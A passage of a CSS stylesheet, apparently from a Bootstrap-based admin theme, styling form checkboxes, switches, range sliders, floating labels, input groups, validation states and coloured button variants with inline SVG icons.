text-shadow: 0 0 0 #293240; } .form-select-sm { padding-top: 0.25rem; padding-bottom: 0.25rem; padding-left: 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .form-select-lg { padding-top: 0.5rem; padding-bottom: 0.5rem; padding-left: 1rem; font-size: 1.09375rem; border-radius: 8px; } .form-check { display: block; min-height: 1.3125rem; padding-left: 1.75em; margin-bottom: 0.125rem; } .form-check .form-check-input { float: left; margin-left: -1.75em; } .form-check-reverse { padding-right: 1.75em; padding-left: 0; text-align: right; } .form-check-reverse .form-check-input { float: right; margin-right: -1.75em; margin-left: 0; } .form-check-input { width: 1.25em; height: 1.25em; margin-top: 0.125em; vertical-align: top; background-color: #ffffff; background-repeat: no-repeat; background-position: center; background-size: contain; border: 1px solid rgba(0, 0, 0, 0.25); -webkit-appearance: none; -moz-appearance: none; appearance: none; print-color-adjust: exact; transition: background-color 0.15s ease-in-out, background-position 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-check-input { transition: none; } } .form-check-input[type="checkbox"] { border-radius: 0.25em; } .form-check-input[type="radio"] { border-radius: 50%; } .form-check-input:active { filter: brightness(90%); } .form-check-input:focus { border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-check-input:checked { background-color: #51459d; border-color: #51459d; } .form-check-input:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check-input:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffffff'/%3e%3c/svg%3e"); } .form-check-input[type="checkbox"]:indeterminate { background-color: #51459d; border-color: #51459d; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e"); } .form-check-input:disabled { pointer-events: none; filter: none; opacity: 0.5; } .form-check-input[disabled] ~ .form-check-label, .form-check-input:disabled ~ .form-check-label { cursor: default; opacity: 0.5; } .form-switch { padding-left: 2.5em; } .form-switch .form-check-input { width: 2em; margin-left: -2.5em; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e"); background-position: left center; border-radius: 2em; transition: background-position 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-switch .form-check-input { transition: none; } } .form-switch .form-check-input:focus { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2351459d'/%3e%3c/svg%3e"); } .form-switch .form-check-input:checked { background-position: right center; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e"); } .form-switch.form-check-reverse { padding-right: 2.5em; padding-left: 0; } .form-switch.form-check-reverse .form-check-input { margin-right: -2.5em; margin-left: 0; } .form-check-inline { display: inline-block; margin-right: 1rem; } .btn-check { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .btn-check[disabled] + .btn, .btn-check:disabled + .btn { pointer-events: none; filter: none; opacity: 0.65; } .form-range { width: 100%; height: 1.4rem; padding: 0; background-color: transparent; -webkit-appearance: none; -moz-appearance: none; appearance: none; } .form-range:focus { outline: 0; } .form-range:focus::-webkit-slider-thumb { box-shadow: 0 0 0 1px #f8f9fd, 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-range:focus::-moz-range-thumb { box-shadow: 0 0 0 1px #f8f9fd, 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-range::-moz-focus-outer { border: 0; } .form-range::-webkit-slider-thumb { width: 1rem; height: 1rem; margin-top: -0.25rem; background-color: #51459d; border: 0; border-radius: 1rem; -webkit-transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -webkit-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-range::-webkit-slider-thumb { -webkit-transition: none; transition: none; } } .form-range::-webkit-slider-thumb:active { background-color: #bbb6df; } .form-range::-webkit-slider-runnable-track { width: 100%; height: 0.5rem; color: transparent; cursor: pointer; background-color: #f8f9fd; border-color: transparent; border-radius: 1rem; } .form-range::-moz-range-thumb { width: 1rem; height: 1rem; background-color: #51459d; border: 0; border-radius: 1rem; -moz-transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -moz-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-range::-moz-range-thumb { -moz-transition: none; transition: none; } } .form-range::-moz-range-thumb:active { background-color: #bbb6df; } .form-range::-moz-range-track { width: 100%; height: 0.5rem; color: transparent; cursor: pointer; background-color: #f8f9fd; border-color: transparent; border-radius: 1rem; } .form-range:disabled { pointer-events: none; } .form-range:disabled::-webkit-slider-thumb { background-color: #adb5bd; } .form-range:disabled::-moz-range-thumb { background-color: #adb5bd; } .form-floating { position: relative; } .form-floating > .form-control, .form-floating > .custom-select, .form-floating > .dataTable-selector, .form-floating > .dataTable-input, .form-floating > .form-control-plaintext, .form-floating > .form-select { height: calc(3.6rem + 2px); line-height: 1.25; } .form-floating > label { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 1rem 1rem; overflow: hidden; text-align: start; text-overflow: ellipsis; white-space: nowrap; pointer-events: none; border: 1px solid transparent; transform-origin: 0 0; transition: opacity 0.1s ease-in-out, transform 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-floating > label { transition: none; } } .form-floating > .form-control, .form-floating > .custom-select, .form-floating > .dataTable-selector, .form-floating > .dataTable-input, .form-floating > .form-control-plaintext { padding: 1rem 1rem; } .form-floating > .form-control::-moz-placeholder, .form-floating > .custom-select::-moz-placeholder, .form-floating > .dataTable-selector::-moz-placeholder, .form-floating > .dataTable-input::-moz-placeholder, .form-floating > .form-control-plaintext::-moz-placeholder { color: transparent; } .form-floating > .form-control::placeholder, .form-floating > .custom-select::placeholder, .form-floating > .dataTable-selector::placeholder, .form-floating > .dataTable-input::placeholder, .form-floating > .form-control-plaintext::placeholder { color: transparent; } .form-floating > .form-control:not(:-moz-placeholder-shown), .form-floating > .custom-select:not(:-moz-placeholder-shown), .form-floating > .dataTable-selector:not(:-moz-placeholder-shown), .form-floating > .dataTable-input:not(:-moz-placeholder-shown), .form-floating > .form-control-plaintext:not(:-moz-placeholder-shown) { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:focus, .form-floating > .custom-select:focus, .form-floating > .dataTable-selector:focus, .form-floating > .dataTable-input:focus, .form-floating > .form-control:not(:placeholder-shown), .form-floating > .custom-select:not(:placeholder-shown), .form-floating > .dataTable-selector:not(:placeholder-shown), .form-floating > .dataTable-input:not(:placeholder-shown), .form-floating > .form-control-plaintext:focus, .form-floating > .form-control-plaintext:not(:placeholder-shown) { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:-webkit-autofill, .form-floating > .custom-select:-webkit-autofill, .form-floating > .dataTable-selector:-webkit-autofill, .form-floating > .dataTable-input:-webkit-autofill, .form-floating > .form-control-plaintext:-webkit-autofill { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-select { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:not(:-moz-placeholder-shown) ~ label, .form-floating > .custom-select:not(:-moz-placeholder-shown) ~ label, .form-floating > .dataTable-selector:not(:-moz-placeholder-shown) ~ label, .form-floating > .dataTable-input:not(:-moz-placeholder-shown) ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control:focus ~ label, .form-floating > .custom-select:focus ~ label, .form-floating > .dataTable-selector:focus ~ label, .form-floating > .dataTable-input:focus ~ label, .form-floating > .form-control:not(:placeholder-shown) ~ label, .form-floating > .custom-select:not(:placeholder-shown) ~ label, .form-floating > .dataTable-selector:not(:placeholder-shown) ~ label, .form-floating > .dataTable-input:not(:placeholder-shown) ~ label, .form-floating > .form-control-plaintext ~ label, .form-floating > .form-select ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control:-webkit-autofill ~ label, .form-floating > .custom-select:-webkit-autofill ~ label, .form-floating > .dataTable-selector:-webkit-autofill ~ label, .form-floating > .dataTable-input:-webkit-autofill ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control-plaintext ~ label { border-width: 1px 0; } .input-group { position: relative; display: flex; flex-wrap: wrap; align-items: stretch; width: 100%; } .input-group > .form-control, .input-group > .custom-select, .input-group > .dataTable-selector, .input-group > .dataTable-input, .input-group > .form-select, .input-group > .form-floating { position: relative; flex: 1 1 auto; width: 1%; min-width: 0; } .input-group > .form-control:focus, .input-group > .custom-select:focus, .input-group > .dataTable-selector:focus, .input-group > .dataTable-input:focus, .input-group > .form-select:focus, .input-group > .form-floating:focus-within { z-index: 5; } .input-group .btn { position: relative; z-index: 2; } .input-group .btn:focus { z-index: 5; } .input-group-text { display: flex; align-items: center; padding: 0.575rem 1rem; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #293240; text-align: center; white-space: nowrap; background-color: #f8f9fd; border: 1px solid #ced4da; border-radius: 6px; } .input-group-lg > .form-control, .input-group-lg > .custom-select, .input-group-lg > .dataTable-selector, .input-group-lg > .dataTable-input, .input-group-lg > .form-select, .input-group-lg > .input-group-text, .input-group-lg > .btn { padding: 0.5rem 1rem; font-size: 1.09375rem; border-radius: 8px; } .input-group-sm > .form-control, .input-group-sm > .custom-select, .input-group-sm > .dataTable-selector, .input-group-sm > .dataTable-input, .input-group-sm > .form-select, .input-group-sm > .input-group-text, .input-group-sm > .btn { padding: 0.25rem 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .input-group-lg > .form-select, .input-group-sm > .form-select { padding-right: 2rem; } .input-group:not(.has-validation) > :not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating), .input-group:not(.has-validation) > .dropdown-toggle:nth-last-child(n + 3), .input-group:not(.has-validation) > .form-floating:not(:last-child) > .form-control, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .custom-select, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .dataTable-selector, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .dataTable-input, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .form-select { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group.has-validation > :nth-last-child(n + 3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating), .input-group.has-validation > .dropdown-toggle:nth-last-child(n + 4), .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .form-control, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .custom-select, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .dataTable-selector, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .dataTable-input, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .form-select { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group > :not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback) { margin-left: -1px; border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group > .form-floating:not(:first-child) > .form-control, .input-group > .form-floating:not(:first-child) > .custom-select, .input-group > .form-floating:not(:first-child) > .dataTable-selector, .input-group > .form-floating:not(:first-child) > .dataTable-input, .input-group > .form-floating:not(:first-child) > .form-select { border-top-left-radius: 0; border-bottom-left-radius: 0; } .valid-feedback { display: none; width: 100%; margin-top: 0.25rem; font-size: 80%; color: #6fd943; } .valid-tooltip { position: absolute; top: 100%; z-index: 5; display: none; max-width: 100%; padding: 0.25rem 0.5rem; margin-top: .1rem; font-size: 0.76563rem; line-height: 1.5; color: #ffffff; background-color: rgba(111, 217, 67, 0.9); border-radius: 10px; } .was-validated :valid ~ .valid-feedback, .was-validated :valid ~ .valid-tooltip, .is-valid ~ .valid-feedback, .is-valid ~ .valid-tooltip { display: block; } .was-validated .form-control:valid, .was-validated .custom-select:valid, .was-validated .dataTable-selector:valid, .was-validated .dataTable-input:valid, .form-control.is-valid, .is-valid.custom-select, .is-valid.dataTable-selector, .is-valid.dataTable-input { border-color: #6fd943; padding-right: calc(1.5em + 1.15rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%236fd943' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right calc(0.375em + 0.2875rem) center; background-size: calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-control:valid:focus, .was-validated .custom-select:valid:focus, .was-validated .dataTable-selector:valid:focus, .was-validated .dataTable-input:valid:focus, .form-control.is-valid:focus, .is-valid.custom-select:focus, .is-valid.dataTable-selector:focus, .is-valid.dataTable-input:focus { border-color: #6fd943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated textarea.form-control:valid, .was-validated textarea.custom-select:valid, .was-validated textarea.dataTable-selector:valid, .was-validated textarea.dataTable-input:valid, textarea.form-control.is-valid, textarea.is-valid.custom-select, textarea.is-valid.dataTable-selector, textarea.is-valid.dataTable-input { padding-right: calc(1.5em + 1.15rem); background-position: top calc(0.375em + 0.2875rem) right calc(0.375em + 0.2875rem); } .was-validated .form-select:valid, .form-select.is-valid { border-color: #6fd943; } .was-validated .form-select:valid:not([multiple]):not([size]), .was-validated .form-select:valid:not([multiple])[size="1"], .form-select.is-valid:not([multiple]):not([size]), .form-select.is-valid:not([multiple])[size="1"] { padding-right: calc(0.75em + 2.8625rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"), url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%236fd943' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); background-position: right 1rem center, center right 2rem; background-size: 16px 12px, calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-select:valid:focus, .form-select.is-valid:focus { border-color: #6fd943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated .form-control-color:valid, .form-control-color.is-valid { width: calc(3rem + calc(1.5em + 1.15rem)); } .was-validated .form-check-input:valid, .form-check-input.is-valid { border-color: #6fd943; } .was-validated .form-check-input:valid:checked, .form-check-input.is-valid:checked { background-color: #6fd943; } .was-validated .form-check-input:valid:focus, .form-check-input.is-valid:focus { box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label { color: #6fd943; } .form-check-inline .form-check-input ~ .valid-feedback { margin-left: .5em; } .was-validated .input-group > .form-control:not(:focus):valid, .was-validated .input-group > .custom-select:not(:focus):valid, .was-validated .input-group > .dataTable-selector:not(:focus):valid, .was-validated .input-group > .dataTable-input:not(:focus):valid, .input-group > .form-control:not(:focus).is-valid, .input-group > .custom-select:not(:focus).is-valid, .input-group > .dataTable-selector:not(:focus).is-valid, .input-group > .dataTable-input:not(:focus).is-valid, .was-validated .input-group > .form-select:not(:focus):valid, .input-group > .form-select:not(:focus).is-valid, .was-validated .input-group > .form-floating:not(:focus-within):valid, .input-group > .form-floating:not(:focus-within).is-valid { z-index: 3; } .invalid-feedback { display: none; width: 100%; margin-top: 0.25rem; font-size: 80%; color: #ff3a6e; } .invalid-tooltip { position: absolute; top: 100%; z-index: 5; display: none; max-width: 100%; padding: 0.25rem 0.5rem; margin-top: .1rem; font-size: 0.76563rem; line-height: 1.5; color: #ffffff; background-color: rgba(255, 58, 110, 0.9); border-radius: 10px; } .was-validated :invalid ~ .invalid-feedback, .was-validated :invalid ~ .invalid-tooltip, .is-invalid ~ .invalid-feedback, .is-invalid ~ .invalid-tooltip { display: block; } .was-validated .form-control:invalid, .was-validated .custom-select:invalid, .was-validated .dataTable-selector:invalid, .was-validated .dataTable-input:invalid, .form-control.is-invalid, .is-invalid.custom-select, .is-invalid.dataTable-selector, .is-invalid.dataTable-input { border-color: #ff3a6e; padding-right: calc(1.5em + 1.15rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3a6e' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23ff3a6e' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); background-repeat: no-repeat; background-position: right calc(0.375em + 0.2875rem) center; background-size: calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-control:invalid:focus, .was-validated .custom-select:invalid:focus, .was-validated .dataTable-selector:invalid:focus, .was-validated .dataTable-input:invalid:focus, .form-control.is-invalid:focus, .is-invalid.custom-select:focus, .is-invalid.dataTable-selector:focus, .is-invalid.dataTable-input:focus { border-color: #ff3a6e; box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated textarea.form-control:invalid, .was-validated textarea.custom-select:invalid, .was-validated textarea.dataTable-selector:invalid, .was-validated textarea.dataTable-input:invalid, textarea.form-control.is-invalid, textarea.is-invalid.custom-select, textarea.is-invalid.dataTable-selector, textarea.is-invalid.dataTable-input { padding-right: calc(1.5em + 1.15rem); background-position: top calc(0.375em + 0.2875rem) right calc(0.375em + 0.2875rem); } .was-validated .form-select:invalid, .form-select.is-invalid { border-color: #ff3a6e; } .was-validated .form-select:invalid:not([multiple]):not([size]), .was-validated .form-select:invalid:not([multiple])[size="1"], .form-select.is-invalid:not([multiple]):not([size]), .form-select.is-invalid:not([multiple])[size="1"] { padding-right: calc(0.75em + 2.8625rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"), url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3a6e' viewBox='-2 -2 7 7'%3e%3cpath stroke='%23ff3a6e' d='M0 0l3 3m0-3L0 3'/%3e%3ccircle r='.5'/%3e%3ccircle cx='3' r='.5'/%3e%3ccircle cy='3' r='.5'/%3e%3ccircle cx='3' cy='3' r='.5'/%3e%3c/svg%3E"); background-position: right 1rem center, center right 2rem; background-size: 16px 12px, calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-select:invalid:focus, .form-select.is-invalid:focus { border-color: #ff3a6e; box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated .form-control-color:invalid, .form-control-color.is-invalid { width: calc(3rem + calc(1.5em + 1.15rem)); } .was-validated .form-check-input:invalid, .form-check-input.is-invalid { border-color: #ff3a6e; } .was-validated .form-check-input:invalid:checked, .form-check-input.is-invalid:checked { background-color: #ff3a6e; } .was-validated .form-check-input:invalid:focus, .form-check-input.is-invalid:focus { box-shadow: 0 0 0 0.2rem rgba(255, 58, 110, 0.25); } .was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label { color: #ff3a6e; } .form-check-inline .form-check-input ~ .invalid-feedback { margin-left: .5em; } .was-validated .input-group > .form-control:not(:focus):invalid, .was-validated .input-group > .custom-select:not(:focus):invalid, .was-validated .input-group > .dataTable-selector:not(:focus):invalid, .was-validated .input-group > .dataTable-input:not(:focus):invalid, .input-group > .form-control:not(:focus).is-invalid, .input-group > .custom-select:not(:focus).is-invalid, .input-group > .dataTable-selector:not(:focus).is-invalid, .input-group > .dataTable-input:not(:focus).is-invalid, .was-validated .input-group > .form-select:not(:focus):invalid, .input-group > .form-select:not(:focus).is-invalid, .was-validated .input-group > .form-floating:not(:focus-within):invalid, .input-group > .form-floating:not(:focus-within).is-invalid { z-index: 4; } .btn { --bs-btn-padding-x: 1.3rem; --bs-btn-padding-y: 0.575rem; --bs-btn-font-family: ; --bs-btn-font-size: 0.875rem; --bs-btn-font-weight: 500; --bs-btn-line-height: 1.5; --bs-btn-color: #293240; --bs-btn-bg: transparent; --bs-btn-border-width: 1px; --bs-btn-border-color: transparent; --bs-btn-border-radius: 6px; --bs-btn-hover-border-color: transparent; --bs-btn-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075); --bs-btn-disabled-opacity: 0.65; --bs-btn-focus-box-shadow: 0 0 0 0.2rem rgba(var(--bs-btn-focus-shadow-rgb), .5); display: inline-block; padding: var(--bs-btn-padding-y) var(--bs-btn-padding-x); font-family: var(--bs-btn-font-family); font-size: var(--bs-btn-font-size); font-weight: var(--bs-btn-font-weight); line-height: var(--bs-btn-line-height); color: var(--bs-btn-color); text-align: center; vertical-align: middle; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; border: var(--bs-btn-border-width) solid var(--bs-btn-border-color); border-radius: var(--bs-btn-border-radius); background-color: var(--bs-btn-bg); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .btn { transition: none; } } .btn:hover { color: var(--bs-btn-hover-color); text-decoration: none; background-color: var(--bs-btn-hover-bg); border-color: var(--bs-btn-hover-border-color); } .btn-check + .btn:hover { color: var(--bs-btn-color); background-color: var(--bs-btn-bg); border-color: var(--bs-btn-border-color); } .btn:focus-visible { color: var(--bs-btn-hover-color); background-color: var(--bs-btn-hover-bg); border-color: var(--bs-btn-hover-border-color); outline: 0; box-shadow: var(--bs-btn-focus-box-shadow); } .btn-check:focus-visible + .btn { border-color: var(--bs-btn-hover-border-color); outline: 0; box-shadow: var(--bs-btn-focus-box-shadow); } .btn-check:checked + .btn, :not(.btn-check) + .btn:active, .btn:first-child:active, .btn.active, .btn.show { color: var(--bs-btn-active-color); background-color: var(--bs-btn-active-bg); border-color: var(--bs-btn-active-border-color); } .btn-check:checked + .btn:focus-visible, :not(.btn-check) + .btn:active:focus-visible, .btn:first-child:active:focus-visible, .btn.active:focus-visible, .btn.show:focus-visible { box-shadow: var(--bs-btn-focus-box-shadow); } .btn:disabled, .btn.disabled, fieldset:disabled .btn { color: var(--bs-btn-disabled-color); pointer-events: none; background-color: var(--bs-btn-disabled-bg); border-color: var(--bs-btn-disabled-border-color); opacity: var(--bs-btn-disabled-opacity); } .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #51459d; --bs-btn-border-color: #51459d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #453b85; --bs-btn-hover-border-color: #41377e; --bs-btn-focus-shadow-rgb: 107, 97, 172; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #41377e; --bs-btn-active-border-color: #3d3476; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #51459d; --bs-btn-disabled-border-color: #51459d; } .btn-secondary { --bs-btn-color: #ffffff; --bs-btn-bg: #6c757d; --bs-btn-border-color: #6c757d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5c636a; --bs-btn-hover-border-color: #565e64; --bs-btn-focus-shadow-rgb: 130, 138, 145; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #565e64; --bs-btn-active-border-color: #51585e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6c757d; --bs-btn-disabled-border-color: #6c757d; } .btn-success { --bs-btn-color: #ffffff; --bs-btn-bg: #6fd943; --bs-btn-border-color: #6fd943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #5eb839; --bs-btn-hover-border-color: #59ae36; --bs-btn-focus-shadow-rgb: 133, 223, 95; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #59ae36; --bs-btn-active-border-color: #53a332; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #6fd943; --bs-btn-disabled-border-color: #6fd943; } .btn-info { --bs-btn-color: #ffffff; --bs-btn-bg: #3ec9d6; --bs-btn-border-color: #3ec9d6; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #35abb6; --bs-btn-hover-border-color: #32a1ab; --bs-btn-focus-shadow-rgb: 91, 209, 220; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #32a1ab; --bs-btn-active-border-color: #2f97a1; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #3ec9d6; --bs-btn-disabled-border-color: #3ec9d6; } .btn-warning { --bs-btn-color: #ffffff; --bs-btn-bg: #ffa21d; --bs-btn-border-color: #ffa21d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #d98a19; --bs-btn-hover-border-color: #cc8217; --bs-btn-focus-shadow-rgb: 255, 176, 63; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #cc8217; --bs-btn-active-border-color: #bf7a16; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #ffa21d; --bs-btn-disabled-border-color: #ffa21d; } .btn-danger { --bs-btn-color: #ffffff; --bs-btn-bg: #ff3a6e; --bs-btn-border-color: #ff3a6e; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #d9315e; --bs-btn-hover-border-color: #cc2e58; --bs-btn-focus-shadow-rgb: 255, 88, 132; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #cc2e58; --bs-btn-active-border-color: #bf2c53; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #ff3a6e; --bs-btn-disabled-border-color: #ff3a6e; } .btn-light { --bs-btn-color: #212529; --bs-btn-bg: #f8f9fa; --bs-btn-border-color: #f8f9fa; --bs-btn-hover-color: #212529; --bs-btn-hover-bg: #d3d4d5; --bs-btn-hover-border-color: #c6c7c8; --bs-btn-focus-shadow-rgb: 216, 217, 219; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #c6c7c8; --bs-btn-active-border-color: #babbbc; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #212529; --bs-btn-disabled-bg: #f8f9fa; --bs-btn-disabled-border-color: #f8f9fa; } .btn-dark { --bs-btn-color: #ffffff; --bs-btn-bg: #1c232f; --bs-btn-border-color: #1c232f; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3e444e; --bs-btn-hover-border-color: #333944; --bs-btn-focus-shadow-rgb: 62, 68, 78; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #494f59; --bs-btn-active-border-color: #333944; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #1c232f; --bs-btn-disabled-border-color: #1c232f; } .btn-outline-primary { --bs-btn-color: #51459d; --bs-btn-border-color: #51459d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #51459d; --bs-btn-hover-border-color: #51459d; --bs-btn-focus-shadow-rgb: 81, 69, 157; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #51459d; --bs-btn-active-border-color: #51459d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #51459d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #51459d; --bs-gradient: none; } .btn-outline-secondary { --bs-btn-color: #6c757d; --bs-btn-border-color: #6c757d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6c757d; --bs-btn-hover-border-color: #6c757d; --bs-btn-focus-shadow-rgb: 108, 117, 125; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6c757d; --bs-btn-active-border-color: #6c757d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6c757d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6c757d; --bs-gradient: none; } .btn-outline-success { --bs-btn-color: 